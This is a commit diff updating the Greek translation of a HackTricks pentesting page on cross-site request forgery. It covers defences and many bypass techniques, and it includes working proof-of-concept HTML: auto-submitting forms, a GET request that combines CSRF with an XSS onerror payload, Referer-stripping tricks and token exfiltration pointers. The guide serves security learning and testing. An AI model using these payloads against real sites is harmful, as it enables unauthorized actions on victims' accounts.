mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/pent
This commit is contained in:
parent
0b8e8f62a3
commit
7e7a03066e
@ -2,85 +2,112 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Cross-Site Request Forgery (CSRF) Explained
|
||||
## Cross-Site Request Forgery (CSRF) Εξήγηση
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** είναι ένας τύπος ευπάθειας ασφαλείας που εντοπίζεται σε διαδικτυακές εφαρμογές. Επιτρέπει στους επιτιθέμενους να εκτελούν ενέργειες εκ μέρους ανυποψίαστων χρηστών εκμεταλλευόμενοι τις αυθεντικοποιημένες συνεδρίες τους. Η επίθεση εκτελείται όταν ένας χρήστης, ο οποίος είναι συνδεδεμένος σε μια πλατφόρμα θύμα, επισκέπτεται μια κακόβουλη ιστοσελίδα. Αυτή η ιστοσελίδα στη συνέχεια ενεργοποιεί αιτήματα στον λογαριασμό του θύματος μέσω μεθόδων όπως η εκτέλεση JavaScript, η υποβολή φορμών ή η λήψη εικόνων.
|
||||
**Cross-Site Request Forgery (CSRF)** είναι ένας τύπος ευπάθειας ασφάλειας που εντοπίζεται σε web εφαρμογές. Επιτρέπει σε επιτιθέμενους να εκτελούν ενέργειες εκ μέρους ανυποψίαστων χρηστών εκμεταλλευόμενοι τις πιστοποιημένες συνεδρίες τους. Η επίθεση εκτελείται όταν ένας χρήστης, ο οποίος είναι συνδεδεμένος στην πλατφόρμα του θύματος, επισκέπτεται έναν κακόβουλο ιστότοπο. Ο ιστότοπος αυτός στη συνέχεια ενεργοποιεί αιτήματα προς τον λογαριασμό του θύματος μέσω μεθόδων όπως η εκτέλεση JavaScript, η υποβολή φορμών ή η φόρτωση εικόνων.
|
||||
|
||||
### Prerequisites for a CSRF Attack
|
||||
### Προαπαιτούμενα για μια επίθεση CSRF
|
||||
|
||||
Για να εκμεταλλευτεί μια ευπάθεια CSRF, πρέπει να πληρούνται αρκετές προϋποθέσεις:
|
||||
Για να εκμεταλλευτείτε μια ευπάθεια CSRF, πρέπει να πληρούνται αρκετές προϋποθέσεις:
|
||||
|
||||
1. **Identify a Valuable Action**: Ο επιτιθέμενος πρέπει να βρει μια ενέργεια που αξίζει να εκμεταλλευτεί, όπως η αλλαγή του κωδικού πρόσβασης του χρήστη, του email ή η αναβάθμιση δικαιωμάτων.
|
||||
2. **Session Management**: Η συνεδρία του χρήστη θα πρέπει να διαχειρίζεται αποκλειστικά μέσω cookies ή της κεφαλίδας HTTP Basic Authentication, καθώς άλλες κεφαλίδες δεν μπορούν να παραποιηθούν για αυτόν τον σκοπό.
|
||||
3. **Absence of Unpredictable Parameters**: Το αίτημα δεν θα πρέπει να περιέχει απρόβλεπτες παραμέτρους, καθώς αυτές μπορούν να αποτρέψουν την επίθεση.
|
||||
1. **Εντοπισμός σημαντικής ενέργειας**: Ο επιτιθέμενος πρέπει να βρει μια ενέργεια που αξίζει να εκμεταλλευτεί, όπως η αλλαγή κωδικού, email ή η ανύψωση προνομίων.
|
||||
2. **Διαχείριση συνεδρίας**: Η συνεδρία του χρήστη θα πρέπει να διαχειρίζεται αποκλειστικά μέσω cookies ή του HTTP Basic Authentication header, καθώς άλλα headers δεν μπορούν να χειραγωγηθούν για αυτόν τον σκοπό.
|
||||
3. **Απουσία μη προβλέψιμων παραμέτρων**: Το αίτημα δεν πρέπει να περιέχει μη προβλέψιμες παραμέτρους, καθώς αυτές μπορούν να αποτρέψουν την επίθεση.
|
||||
|
||||
### Quick Check
|
||||
### Γρήγορος Έλεγχος
|
||||
|
||||
Μπορείτε να **καταγράψετε το αίτημα στο Burp** και να ελέγξετε τις προστασίες CSRF και για να δοκιμάσετε από τον περιηγητή μπορείτε να κάνετε κλικ στο **Copy as fetch** και να ελέγξετε το αίτημα:
|
||||
Μπορείτε να **καταγράψετε το αίτημα με το Burp** και να ελέγξετε τις προστασίες CSRF και, για δοκιμή από τον browser, μπορείτε να κάνετε κλικ στο **Copy as fetch** και να ελέγξετε το αίτημα:
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Defending Against CSRF
|
||||
### Προστασία έναντι CSRF
|
||||
|
||||
Μερικά μέτρα κατά της CSRF μπορούν να εφαρμοστούν για την προστασία από επιθέσεις CSRF:
|
||||
Μπορούν να εφαρμοστούν αρκετά αντίμετρα για την προστασία έναντι επιθέσεων CSRF:
|
||||
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Αυτό το χαρακτηριστικό αποτρέπει τον περιηγητή από το να στέλνει cookies μαζί με αιτήματα από άλλες ιστοσελίδες. [Περισσότερα για τα SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): Η πολιτική CORS της ιστοσελίδας θύματος μπορεί να επηρεάσει τη δυνατότητα της επίθεσης, ειδικά αν η επίθεση απαιτεί την ανάγνωση της απάντησης από την ιστοσελίδα θύματος. [Μάθετε για την παράκαμψη CORS](cors-bypass.md).
|
||||
- **User Verification**: Η προτροπή για τον κωδικό πρόσβασης του χρήστη ή η επίλυση ενός captcha μπορεί να επιβεβαιώσει την πρόθεση του χρήστη.
|
||||
- **Checking Referrer or Origin Headers**: Η επικύρωση αυτών των κεφαλίδων μπορεί να βοηθήσει να διασφαλιστεί ότι τα αιτήματα προέρχονται από αξιόπιστες πηγές. Ωστόσο, η προσεκτική διαμόρφωση των URLs μπορεί να παρακάμψει κακώς υλοποιημένους ελέγχους, όπως:
|
||||
- Χρησιμοποιώντας `http://mal.net?orig=http://example.com` (το URL τελειώνει με το αξιόπιστο URL)
|
||||
- Χρησιμοποιώντας `http://example.com.mal.net` (το URL ξεκινά με το αξιόπιστο URL)
|
||||
- **Modifying Parameter Names**: Η τροποποίηση των ονομάτων παραμέτρων σε αιτήματα POST ή GET μπορεί να βοηθήσει στην αποτροπή αυτοματοποιημένων επιθέσεων.
|
||||
- **CSRF Tokens**: Η ενσωμάτωση ενός μοναδικού CSRF token σε κάθε συνεδρία και η απαίτηση αυτού του token σε επόμενα αιτήματα μπορεί να μειώσει σημαντικά τον κίνδυνο CSRF. Η αποτελεσματικότητα του token μπορεί να ενισχυθεί με την επιβολή CORS.
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Αυτό το attribute εμποδίζει τον browser από το να στέλνει cookies μαζί με cross-site αιτήματα. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): Η πολιτική CORS του ιστότοπου-θύματος μπορεί να επηρεάσει τη δυνατότητα εκτέλεσης της επίθεσης, ειδικά αν η επίθεση απαιτεί ανάγνωση της απόκρισης από τον ιστότοπο του θύματος. [Learn about CORS bypass](cors-bypass.md).
|
||||
- **Επαλήθευση Χρήστη**: Η απαίτηση για τον κωδικό του χρήστη ή η επίλυση ενός captcha μπορεί να επιβεβαιώσει την πρόθεση του χρήστη.
|
||||
- **Έλεγχος Referrer ή Origin Headers**: Η επικύρωση αυτών των headers μπορεί να βοηθήσει να διασφαλιστεί ότι τα αιτήματα προέρχονται από αξιόπιστες πηγές. Ωστόσο, η προσεκτική διαμόρφωση URLs μπορεί να παρακάμψει κακώς υλοποιημένους ελέγχους, όπως:
|
||||
- Using `http://mal.net?orig=http://example.com` (το URL τελειώνει με το αξιόπιστο URL)
|
||||
- Using `http://example.com.mal.net` (το URL ξεκινάει με το αξιόπιστο URL)
|
||||
- **Τροποποίηση Ονομάτων Παραμέτρων**: Η αλλαγή των ονομάτων παραμέτρων σε POST ή GET αιτήματα μπορεί να βοηθήσει στην αποτροπή αυτοματοποιημένων επιθέσεων.
|
||||
- **CSRF Tokens**: Η ενσωμάτωση ενός μοναδικού CSRF token σε κάθε συνεδρία και η απαίτηση αυτού του token στα επόμενα αιτήματα μπορεί να μειώσει σημαντικά τον κίνδυνο CSRF. Η αποτελεσματικότητα του token μπορεί να ενισχυθεί με την επιβολή CORS.
|
||||
|
||||
Η κατανόηση και η εφαρμογή αυτών των αμυνών είναι κρίσιμη για τη διατήρηση της ασφάλειας και της ακεραιότητας των διαδικτυακών εφαρμογών.
|
||||
Η κατανόηση και η εφαρμογή αυτών των αμυντικών μέτρων είναι κρίσιμη για τη διατήρηση της ασφάλειας και της ακεραιότητας των web εφαρμογών.
|
||||
|
||||
## Defences Bypass
|
||||
## Παράκαμψη Αμυντικών Μέτρων
|
||||
|
||||
### From POST to GET
|
||||
### Από POST σε GET (method-conditioned CSRF validation bypass)
|
||||
|
||||
Ίσως η φόρμα που θέλετε να εκμεταλλευτείτε είναι προετοιμασμένη να στείλει ένα **POST request με ένα CSRF token αλλά**, θα πρέπει να **ελέγξετε** αν ένα **GET** είναι επίσης **έγκυρο** και αν όταν στείλετε ένα GET αίτημα το **CSRF token εξακολουθεί να επικυρώνεται**.
|
||||
Ορισμένες εφαρμογές εφαρμόζουν έλεγχο CSRF μόνο για POST, παραλείποντάς τον για άλλα HTTP verbs. Ένα κοινό anti-pattern σε PHP μοιάζει με:
|
||||
```php
|
||||
public function csrf_check($fatal = true) {
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||
// ... validate __csrf_token here ...
|
||||
}
|
||||
```
|
||||
If the vulnerable endpoint also accepts parameters from $_REQUEST, you can reissue the same action as a GET request and omit the CSRF token entirely. This converts a POST-only action into a GET action that succeeds without a token.
|
||||
|
||||
### Lack of token
|
||||
Example:
|
||||
|
||||
Οι εφαρμογές μπορεί να εφαρμόσουν έναν μηχανισμό για να **επικυρώνουν tokens** όταν είναι παρόντα. Ωστόσο, μια ευπάθεια προκύπτει αν η επικύρωση παραλειφθεί εντελώς όταν το token είναι απών. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό αφαιρώντας την παράμετρο που φέρει το token, όχι μόνο την τιμή του. Αυτό τους επιτρέπει να παρακάμψουν τη διαδικασία επικύρωσης και να διεξάγουν μια επίθεση Cross-Site Request Forgery (CSRF) αποτελεσματικά.
|
||||
- Original POST with token (intended):
|
||||
|
||||
### CSRF token is not tied to the user session
|
||||
```http
|
||||
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
Οι εφαρμογές **που δεν συνδέουν τα CSRF tokens με τις συνεδρίες χρηστών** παρουσιάζουν σημαντικό **κίνδυνο ασφαλείας**. Αυτά τα συστήματα επαληθεύουν τα tokens έναντι μιας **παγκόσμιας δεξαμενής** αντί να διασφαλίζουν ότι κάθε token είναι δεσμευμένο στη συνεδρία που το ξεκίνησε.
|
||||
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
|
||||
```
|
||||
|
||||
Ακολουθεί πώς οι επιτιθέμενοι εκμεταλλεύονται αυτό:
|
||||
- Bypass by switching to GET (no token):
|
||||
|
||||
1. **Authenticate** χρησιμοποιώντας τον δικό τους λογαριασμό.
|
||||
2. **Obtain a valid CSRF token** από την παγκόσμια δεξαμενή.
|
||||
3. **Use this token** σε μια επίθεση CSRF κατά ενός θύματος.
|
||||
```http
|
||||
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
|
||||
```
|
||||
|
||||
Αυτή η ευπάθεια επιτρέπει στους επιτιθέμενους να κάνουν μη εξουσιοδοτημένα αιτήματα εκ μέρους του θύματος, εκμεταλλευόμενοι τον **ανεπαρκή μηχανισμό επικύρωσης token** της εφαρμογής.
|
||||
Σημειώσεις:
|
||||
- Αυτό το μοτίβο εμφανίζεται συχνά μαζί με reflected XSS όταν οι απαντήσεις σερβίρονται λανθασμένα ως text/html αντί για application/json.
|
||||
- Ο συνδυασμός αυτού με XSS μειώνει πολύ τα εμπόδια εκμετάλλευσης, καθώς μπορείτε να παραδώσετε ένα μόνο GET link που ταυτόχρονα ενεργοποιεί τον ευάλωτο κώδικα και παρακάμπτει τελείως τους ελέγχους CSRF.
|
||||
|
||||
### Method bypass
|
||||
### Έλλειψη token
|
||||
|
||||
Αν το αίτημα χρησιμοποιεί μια "**παράξενη**" **μέθοδο**, ελέγξτε αν η **λειτουργία** **override** της μεθόδου λειτουργεί. Για παράδειγμα, αν **χρησιμοποιεί μια μέθοδο PUT** μπορείτε να δοκιμάσετε να **χρησιμοποιήσετε μια μέθοδο POST** και **να στείλετε**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Οι εφαρμογές μπορεί να εφαρμόζουν μηχανισμό για **επικύρωση token** όταν αυτά υπάρχουν. Ωστόσο, προκύπτει ευπάθεια αν η επικύρωση παραλείπεται εντελώς όταν το token απουσιάζει. Οι επιτιθέμενοι μπορούν να το εκμεταλλευτούν **αφαιρώντας την παράμετρο** που μεταφέρει το token, όχι μόνο την τιμή της. Αυτό τους επιτρέπει να παρακάμψουν τη διαδικασία επικύρωσης και να πραγματοποιήσουν μια Cross-Site Request Forgery (CSRF) attack αποτελεσματικά.
|
||||
|
||||
Αυτό μπορεί επίσης να λειτουργήσει στέλνοντας την **παράμετρο \_method μέσα σε ένα POST αίτημα** ή χρησιμοποιώντας τις **κεφαλίδες**:
|
||||
### Το CSRF token δεν συνδέεται με τη συνεδρία χρήστη
|
||||
|
||||
Εφαρμογές που **δεν συνδέουν τα CSRF tokens με τις συνεδρίες χρηστών** παρουσιάζουν σημαντικό **κίνδυνο ασφάλειας**. Αυτά τα συστήματα επαληθεύουν tokens εναντίον μιας **παγκόσμιας δεξαμενής** αντί να διασφαλίζουν ότι κάθε token συνδέεται με τη συνεδρία που το δημιούργησε.
|
||||
|
||||
Έτσι το εκμεταλλεύονται οι επιτιθέμενοι:
|
||||
1. Αυθεντικοποιούνται χρησιμοποιώντας το δικό τους λογαριασμό.
|
||||
2. Αποκτούν ένα έγκυρο CSRF token από την **παγκόσμια δεξαμενή**.
|
||||
3. Χρησιμοποιούν αυτό το token σε επίθεση CSRF εναντίον του θύματος.
|
||||
|
||||
Αυτή η ευπάθεια επιτρέπει στους επιτιθέμενους να κάνουν μη εξουσιοδοτημένα requests εκ μέρους του θύματος, εκμεταλλευόμενοι τον **μη επαρκή μηχανισμό επαλήθευσης token** της εφαρμογής.
|
||||
|
||||
### Παρακάμψη μεθόδου
|
||||
|
||||
Αν το request χρησιμοποιεί μια "**περίεργη**" **method**, έλεγξε αν λειτουργεί η **method override functionality**. Για παράδειγμα, αν χρησιμοποιεί **PUT** μέθοδο μπορείς να δοκιμάσεις να **χρησιμοποιήσεις POST** και να **στείλεις**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Αυτό μπορεί επίσης να λειτουργήσει στέλνοντας την **\_method παράμετρο μέσα σε ένα POST request** ή χρησιμοποιώντας τα **headers**:
|
||||
|
||||
- _X-HTTP-Method_
|
||||
- _X-HTTP-Method-Override_
|
||||
- _X-Method-Override_
|
||||
|
||||
### Custom header token bypass
|
||||
### Παρακάμψη με προσαρμοσμένο header token
|
||||
|
||||
Αν το αίτημα προσθέτει μια **προσαρμοσμένη κεφαλίδα** με ένα **token** στο αίτημα ως **μέθοδο προστασίας CSRF**, τότε:
|
||||
Αν το request προσθέτει ένα **custom header** με ένα **token** ως **μέθοδο προστασίας CSRF**, τότε:
|
||||
|
||||
- Δοκιμάστε το αίτημα χωρίς το **Προσαρμοσμένο Token και επίσης την κεφαλίδα.**
|
||||
- Δοκιμάστε το αίτημα με ακριβώς **ίδιο μήκος αλλά διαφορετικό token**.
|
||||
- Δοκίμασε το request χωρίς το **Customized Token και επίσης χωρίς το header.**
|
||||
- Δοκίμασε το request με **ίδιο ακριβώς μήκος αλλά διαφορετικό token**.
|
||||
|
||||
### CSRF token is verified by a cookie
|
||||
### Το CSRF token επαληθεύεται μέσω cookie
|
||||
|
||||
Οι εφαρμογές μπορεί να εφαρμόσουν προστασία CSRF διπλασιάζοντας το token τόσο σε cookie όσο και σε παράμετρο αιτήματος ή ρυθμίζοντας ένα CSRF cookie και επαληθεύοντας αν το token που αποστέλλεται στο backend αντιστοιχεί στο cookie. Η εφαρμογή επικυρώνει τα αιτήματα ελέγχοντας αν το token στην παράμετρο αιτήματος ευθυγραμμίζεται με την τιμή στο cookie.
|
||||
Οι εφαρμογές μπορεί να υλοποιούν προστασία CSRF διπλασιάζοντας το token τόσο σε cookie όσο και σε παράμετρο request ή θέτοντας ένα CSRF cookie και επαληθεύοντας αν το token που αποστέλλεται στο backend αντιστοιχεί στην τιμή του cookie. Η εφαρμογή επαληθεύει τα requests ελέγχοντας αν το token στην παράμετρο request εναρμονίζεται με την τιμή στο cookie.
|
||||
|
||||
Ωστόσο, αυτή η μέθοδος είναι ευάλωτη σε επιθέσεις CSRF αν η ιστοσελίδα έχει ελαττώματα που επιτρέπουν σε έναν επιτιθέμενο να ρυθμίσει ένα CSRF cookie στον περιηγητή του θύματος, όπως μια ευπάθεια CRLF. Ο επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό φορτώνοντας μια παραπλανητική εικόνα που ρυθμίζει το cookie, ακολουθούμενη από την έναρξη της επίθεσης CSRF.
|
||||
Ωστόσο, αυτή η μέθοδος είναι ευάλωτη σε CSRF επιθέσεις αν ο ιστότοπος έχει σφάλματα που επιτρέπουν σε έναν επιτιθέμενο να θέσει ένα CSRF cookie στο πρόγραμμα περιήγησης του θύματος, όπως μια ευπάθεια CRLF. Ο επιτιθέμενος μπορεί να το εκμεταλλευτεί φορτώνοντας μια παραπλανητική εικόνα που ορίζει το cookie και στη συνέχεια ξεκινώντας την επίθεση CSRF.
|
||||
|
||||
Ακολουθεί ένα παράδειγμα του πώς θα μπορούσε να δομηθεί μια επίθεση:
|
||||
Παρακάτω υπάρχει ένα παράδειγμα για το πώς θα μπορούσε να δομηθεί μια επίθεση:
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||
@ -103,19 +130,19 @@ onerror="document.forms[0].submit();" />
|
||||
</html>
|
||||
```
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι αν το **csrf token σχετίζεται με το cookie της συνεδρίας, αυτή η επίθεση δεν θα λειτουργήσει** γιατί θα χρειαστεί να ορίσετε τη συνεδρία του θύματος, και επομένως θα επιτίθεστε στον εαυτό σας.
|
||||
> Σημειώστε ότι αν το **csrf token σχετίζεται με το session cookie αυτή η επίθεση δεν θα δουλέψει** επειδή θα χρειαστεί να ορίσετε στον victim το session σας, και επομένως θα επιτεθείτε στον εαυτό σας.
|
||||
|
||||
### Αλλαγή Content-Type
|
||||
|
||||
Σύμφωνα με [**αυτό**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), προκειμένου να **αποφευχθούν οι προετοιμασμένες** αιτήσεις χρησιμοποιώντας τη μέθοδο **POST**, αυτές είναι οι επιτρεπόμενες τιμές Content-Type:
|
||||
Σύμφωνα με [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), για να **αποφύγετε preflight** αιτήματα όταν χρησιμοποιείτε τη μέθοδο **POST**, αυτές είναι οι επιτρεπόμενες τιμές Content-Type:
|
||||
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
Ωστόσο, σημειώστε ότι η **λογική των διακομιστών μπορεί να διαφέρει** ανάλογα με το **Content-Type** που χρησιμοποιείται, οπότε θα πρέπει να δοκιμάσετε τις αναφερόμενες τιμές και άλλες όπως **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
Ωστόσο, σημειώστε ότι η **λογική του server μπορεί να διαφέρει** ανάλογα με το **Content-Type** που χρησιμοποιείται, οπότε θα πρέπει να δοκιμάσετε τις προαναφερθείσες τιμές και άλλες όπως **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
Παράδειγμα (από [εδώ](https://brycec.me/posts/corctf_2021_challenges)) αποστολής δεδομένων JSON ως text/plain:
|
||||
Παράδειγμα (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -134,32 +161,32 @@ form.submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Παράκαμψη Προετοιμασίας Αιτημάτων για Δεδομένα JSON
|
||||
### Παράκαμψη των preflight requests για JSON δεδομένα
|
||||
|
||||
Όταν προσπαθείτε να στείλετε δεδομένα JSON μέσω ενός POST αιτήματος, η χρήση του `Content-Type: application/json` σε μια HTML φόρμα δεν είναι άμεσα δυνατή. Ομοίως, η χρήση του `XMLHttpRequest` για την αποστολή αυτού του τύπου περιεχομένου ξεκινά ένα προετοιμαστικό αίτημα. Παρ' όλα αυτά, υπάρχουν στρατηγικές για να παρακαμφθεί αυτή η περιοριστική κατάσταση και να ελεγχθεί αν ο διακομιστής επεξεργάζεται τα δεδομένα JSON ανεξαρτήτως του Content-Type:
|
||||
Όταν προσπαθείτε να στείλετε δεδομένα JSON μέσω ενός POST request, η χρήση του `Content-Type: application/json` σε μια HTML φόρμα δεν είναι άμεσα δυνατή. Ομοίως, η χρήση του `XMLHttpRequest` για να σταλεί αυτός ο τύπος περιεχομένου προκαλεί ένα preflight request. Παρ' όλα αυτά, υπάρχουν στρατηγικές για πιθανή παράκαμψη αυτού του περιορισμού και για έλεγχο αν ο server επεξεργάζεται τα JSON δεδομένα ανεξάρτητα από το Content-Type:
|
||||
|
||||
1. **Χρήση Εναλλακτικών Τύπων Περιεχομένου**: Χρησιμοποιήστε `Content-Type: text/plain` ή `Content-Type: application/x-www-form-urlencoded` ορίζοντας `enctype="text/plain"` στη φόρμα. Αυτή η προσέγγιση δοκιμάζει αν το backend χρησιμοποιεί τα δεδομένα ανεξαρτήτως του Content-Type.
|
||||
2. **Τροποποίηση Τύπου Περιεχομένου**: Για να αποφύγετε ένα προετοιμαστικό αίτημα ενώ διασφαλίζετε ότι ο διακομιστής αναγνωρίζει το περιεχόμενο ως JSON, μπορείτε να στείλετε τα δεδομένα με `Content-Type: text/plain; application/json`. Αυτό δεν ενεργοποιεί ένα προετοιμαστικό αίτημα αλλά μπορεί να επεξεργαστεί σωστά από τον διακομιστή αν είναι ρυθμισμένος να αποδέχεται `application/json`.
|
||||
3. **Χρήση Αρχείου SWF Flash**: Μια λιγότερο κοινή αλλά εφικτή μέθοδος περιλαμβάνει τη χρήση ενός αρχείου SWF flash για να παρακαμφθούν τέτοιες περιορισμοί. Για μια σε βάθος κατανόηση αυτής της τεχνικής, ανατρέξτε σε [αυτή την ανάρτηση](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
1. **Use Alternative Content Types**: Χρησιμοποιήστε `Content-Type: text/plain` ή `Content-Type: application/x-www-form-urlencoded` θέτοντας `enctype="text/plain"` στη φόρμα. Αυτή η προσέγγιση ελέγχει αν το backend χρησιμοποιεί τα δεδομένα ανεξάρτητα από το Content-Type.
|
||||
2. **Modify Content Type**: Για να αποφύγετε ένα preflight request ενώ εξασφαλίζετε ότι ο server αναγνωρίζει το περιεχόμενο ως JSON, μπορείτε να στείλετε τα δεδομένα με `Content-Type: text/plain; application/json`. Αυτό δεν προκαλεί preflight request αλλά μπορεί να επεξεργαστεί σωστά από τον server αν είναι ρυθμισμένος να δέχεται `application/json`.
|
||||
3. **SWF Flash File Utilization**: Μια λιγότερο συχνή αλλά εφικτή μέθοδος περιλαμβάνει τη χρήση ενός SWF flash file για παράκαμψη τέτοιων περιορισμών. Για λεπτομερή κατανόηση αυτής της τεχνικής, ανατρέξτε σε [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Παράκαμψη Ελέγχου Referrer / Origin
|
||||
### Παράκαμψη ελέγχου Referrer / Origin
|
||||
|
||||
**Αποφύγετε την κεφαλίδα Referrer**
|
||||
**Αποφύγετε το Referrer header**
|
||||
|
||||
Οι εφαρμογές μπορεί να επικυρώνουν την κεφαλίδα 'Referer' μόνο όταν είναι παρούσα. Για να αποτρέψετε έναν περιηγητή από το να στείλει αυτή την κεφαλίδα, μπορεί να χρησιμοποιηθεί η παρακάτω HTML μετα-ετικέτα:
|
||||
Οι εφαρμογές μπορεί να επικυρώνουν την κεφαλίδα 'Referer' μόνο όταν αυτή υπάρχει. Για να εμποδίσετε έναν browser από το να στείλει αυτή την κεφαλίδα, μπορεί να χρησιμοποιηθεί το ακόλουθο HTML meta tag:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
Αυτό διασφαλίζει ότι η κεφαλίδα 'Referer' παραλείπεται, ενδεχομένως παρακάμπτοντας ελέγχους επικύρωσης σε ορισμένες εφαρμογές.
|
||||
Αυτό εξασφαλίζει ότι η κεφαλίδα 'Referer' παραλείπεται, ενδεχομένως παρακάμπτοντας ελέγχους επικύρωσης σε κάποιες εφαρμογές.
|
||||
|
||||
**Regexp παρακάμψεις**
|
||||
**Regexp bypasses**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
Για να ορίσετε το όνομα τομέα του διακομιστή στη διεύθυνση URL που ο Referrer πρόκειται να στείλει μέσα στις παραμέτρους, μπορείτε να κάνετε:
|
||||
Για να ορίσετε το domain name του server στο URL που ο Referrer είναι πρόκειται να στείλει μέσα στις παραμέτρους μπορείτε να κάνετε:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -190,15 +217,15 @@ document.forms[0].submit()
|
||||
```
|
||||
### **HEAD method bypass**
|
||||
|
||||
Το πρώτο μέρος του [**αυτού του CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) εξηγεί ότι [ο πηγαίος κώδικας του Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), ένας δρομολογητής, έχει ρυθμιστεί να **χειρίζεται τα αιτήματα HEAD ως αιτήματα GET** χωρίς σώμα απόκρισης - μια κοινή λύση που δεν είναι μοναδική για τον Oak. Αντί για έναν συγκεκριμένο χειριστή που ασχολείται με τα αιτήματα HEAD, απλά **δίνονται στον χειριστή GET αλλά η εφαρμογή απλά αφαιρεί το σώμα απόκρισης**.
|
||||
Το πρώτο μέρος του [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) εξηγεί ότι στον [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), ένας router έχει ρυθμιστεί να **handle HEAD requests as GET requests** χωρίς σώμα απάντησης — ένα κοινό workaround που δεν είναι μοναδικό στον Oak. Αντί για έναν ειδικό handler που διαχειρίζεται τα HEAD reqs, απλώς **given to the GET handler but the app just removes the response body**.
|
||||
|
||||
Επομένως, αν ένα αίτημα GET περιορίζεται, μπορείτε απλά να **στείλετε ένα αίτημα HEAD που θα επεξεργαστεί ως αίτημα GET**.
|
||||
Επομένως, αν ένα GET request περιορίζεται, μπορείτε απλά **να στείλετε ένα HEAD request που θα επεξεργαστεί ως GET request**.
|
||||
|
||||
## **Exploit Examples**
|
||||
|
||||
### **Exfiltrating CSRF Token**
|
||||
|
||||
Αν χρησιμοποιείται ένα **CSRF token** ως **άμυνα**, μπορείτε να προσπαθήσετε να **εξάγετε το** εκμεταλλευόμενοι μια [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ευπάθεια ή μια [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) ευπάθεια.
|
||||
Αν ένα **CSRF token** χρησιμοποιείται ως **defence**, μπορείτε να προσπαθήσετε να το **exfiltrate it** εκμεταλλευόμενοι μια [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) ευπάθεια ή μια [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) ευπάθεια.
|
||||
|
||||
### **GET using HTML tags**
|
||||
```xml
|
||||
@ -206,7 +233,7 @@ document.forms[0].submit()
|
||||
<h1>404 - Page not found</h1>
|
||||
The URL you are requesting is no longer available
|
||||
```
|
||||
Άλλες ετικέτες HTML5 που μπορούν να χρησιμοποιηθούν για να στείλουν αυτόματα ένα GET αίτημα είναι:
|
||||
Άλλες ετικέτες HTML5 που μπορούν να χρησιμοποιηθούν για να στείλουν αυτόματα ένα GET request είναι:
|
||||
```html
|
||||
<iframe src="..."></iframe>
|
||||
<script src="..."></script>
|
||||
@ -235,7 +262,7 @@ background: url("...");
|
||||
</video>
|
||||
</audio>
|
||||
```
|
||||
### Αίτημα GET φόρμας
|
||||
### GET αίτημα φόρμας
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
@ -253,7 +280,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Αίτημα POST φόρμας
|
||||
### POST αίτημα φόρμας
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -281,7 +308,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Αίτημα POST φόρμας μέσω iframe
|
||||
### Φόρμα POST request μέσω iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
@ -374,7 +401,7 @@ body += "--" + boundary + "--"
|
||||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body)
